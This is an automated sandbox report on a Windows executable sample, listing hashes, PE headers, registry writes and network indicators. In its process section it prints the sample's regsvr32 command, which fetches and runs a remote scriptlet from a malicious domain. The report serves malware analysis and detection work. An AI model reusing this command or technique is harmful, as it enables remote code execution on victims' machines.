Malware analysis 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd Malicious activity

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File name:	0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd
Full analysis:	https://app.any.run/tasks/5559dd0d-be43-4f93-8e06-0a25e2b7db02
Verdict:	Malicious activity
Analysis date:	June 19, 2019, 03:29:13
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME:	application/x-dosexec
File info:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5:	B1578482CEA8FD7F0C529C082F24D3DD
SHA1:	61F09F1D236C039872A9CC7831766D33FD697FFB
SHA256:	0B77B2091BFC49E1DAF5885918168F1D12FB9C772222B149756329475BD02FDD
SSDEEP:	192:h2N59JjMuYzuM2lrqGL4dtyeXQF77777xWeB2jPJ1K:hzuYzulrqGLHegF777778J

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 180 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 120 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Runs remote scriptlet
  - 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe (PID: 3288)
SUSPICIOUS
- Creates files in the user directory
  - regsvr32.exe (PID: 1940)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.exe	\|	Win64 Executable (generic) (61.6)
.dll	\|	Win32 Dynamic Link Library (generic) (14.6)
.exe	\|	Win32 Executable (generic) (10)
.exe	\|	Win16/32 Executable Delphi generic (4.6)
.exe	\|	Generic Win/DOS Executable (4.4)

EXIF

EXE

MachineType:	Intel 386 or later, and compatibles
TimeStamp:	2019:06:05 10:57:36+02:00
PEType:	PE32
LinkerVersion:	2.56
CodeSize:	3584
InitializedDataSize:	11776
UninitializedDataSize:	512
EntryPoint:	0x1240
OSVersion:	4
ImageVersion:	1
SubsystemVersion:	4
Subsystem:	Windows GUI

Summary

Architecture:	IMAGE_FILE_MACHINE_I386
Subsystem:	IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date:	05-Jun-2019 08:57:36
Detected languages:	English - United States

DOS Header

Magic number:	MZ
Bytes on last page of file:	0x0090
Pages in file:	0x0003
Relocations:	0x0000
Size of header:	0x0004
Min extra paragraphs:	0x0000
Max extra paragraphs:	0xFFFF
Initial SS value:	0x0000
Initial SP value:	0x00B8
Checksum:	0x0000
Initial IP value:	0x0000
Initial CS value:	0x0000
Overlay number:	0x0000
OEM identifier:	0x0000
OEM information:	0x0000
Address of NE header:	0x00000080

PE Headers

Signature:	PE
Machine:	IMAGE_FILE_MACHINE_I386
Number of sections:	6
Time date stamp:	05-Jun-2019 08:57:36
Pointer to Symbol Table:	0x00000000
Number of symbols:	0
Size of Optional Header:	0x00E0
Characteristics:	IMAGE_FILE_DEBUG_STRIPPED IMAGE_FILE_EXECUTABLE_IMAGE IMAGE_FILE_LINE_NUMS_STRIPPED IMAGE_FILE_LOCAL_SYMS_STRIPPED IMAGE_FILE_RELOCS_STRIPPED

Sections

Name	Virtual Address	Virtual Size	Raw Size	Charateristics	Entropy
.text	0x00001000	0x00000CE4	0x00000E00	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ	5.41032
.data	0x00002000	0x000000D0	0x00000200	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	1.52513
.rdata	0x00003000	0x00000480	0x00000600	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	2.9999
.bss	0x00004000	0x00000070	0x00000000	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0
.idata	0x00005000	0x000003E4	0x00000400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	4.10427
.rsrc	0x00006000	0x00001300	0x00001400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	4.71446

Resources

Title	Entropy	Size	Codepage	Language	Type
1	4.95686	340	UNKNOWN	English - United States	RT_MANIFEST
2	1.7815	20	UNKNOWN	English - United States	RT_GROUP_ICON

Imports


KERNEL32.dll
SHELL32.DLL
msvcrt.dll

No data.

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All screenshots are available in the full report

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Total processes

38

Monitored processes

3

Malicious processes

0

Suspicious processes

0

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

1940

"C:\Windows\System32\regsvr32.exe" /s /n /u /i:http://psmb07epr.bkt.clouddn.com/1.sct scrobj.dll

C:\Windows\System32\regsvr32.exe

0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

HIGH

Description:

Microsoft(C) Register Server

Exit code:

5

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\regsvr32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll

3072

"C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe"

C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe

—

explorer.exe

User:

admin

Integrity Level:

MEDIUM

Exit code:

3221226540

Modules

Images
c:\users\admin\appdata\local\temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe
c:\systemroot\system32\ntdll.dll

3288

"C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe"

C:\Users\admin\AppData\Local\Temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe

explorer.exe

User:

admin

Integrity Level:

HIGH

Exit code:

0

Modules

Images
c:\users\admin\appdata\local\temp\0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll

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Total events

102

Read events

80

Write events

22

Delete events

0

Modification events


(PID) Process:	(3288) 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3288) 0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	EnableConsoleTracing
Value: 0
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	FileTracingMask
Value: 4294901760
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	ConsoleTracingMask
Value: 4294901760
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	MaxFileSize
Value: 1048576
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASAPI32
Operation:	write	Name:	FileDirectory
Value: %windir%\tracing
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	EnableFileTracing
Value: 0
(PID) Process:	(1940) regsvr32.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\regsvr32_RASMANCS
Operation:	write	Name:	EnableConsoleTracing
Value: 0

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Executable files

0

Suspicious files

0

Text files

1

Unknown types

0

Dropped files

PID	Process	Filename		Type
1940	regsvr32.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@psmb07epr.bkt.clouddn[1].txt		text
		MD5:—	SHA256:—

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HTTP(S) requests

1

TCP/UDP connections

1

DNS requests

1

Threats

1

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1940	regsvr32.exe	GET	530	1.1.1.1:80	http://psmb07epr.bkt.clouddn.com/1.sct	AU	html	3.75 Kb	malicious

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1940	regsvr32.exe	1.1.1.1:80	psmb07epr.bkt.clouddn.com	—	AU	malicious

DNS requests

Domain	IP	Reputation
psmb07epr.bkt.clouddn.com	1.1.1.1	malicious

Threats

PID	Process	Class	Message
1940	regsvr32.exe	A Network Trojan was detected	ET CURRENT_EVENTS Likely Malicious Windows SCT Download MSXMLHTTP M1

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No debug info

General Info

0b77b2091bfc49e1daf5885918168f1d12fb9c772222b149756329475bd02fdd

B1578482CEA8FD7F0C529C082F24D3DD

61F09F1D236C039872A9CC7831766D33FD697FFB

0B77B2091BFC49E1DAF5885918168F1D12FB9C772222B149756329475BD02FDD

192:h2N59JjMuYzuM2lrqGL4dtyeXQF77777xWeB2jPJ1K:hzuYzulrqGLHegF777778J

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Runs remote scriptlet

SUSPICIOUS

Creates files in the user directory

INFO

Malware configuration

Static information

TRiD

EXIF

EXE

Summary

DOS Header

PE Headers

Sections

Resources

Imports

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings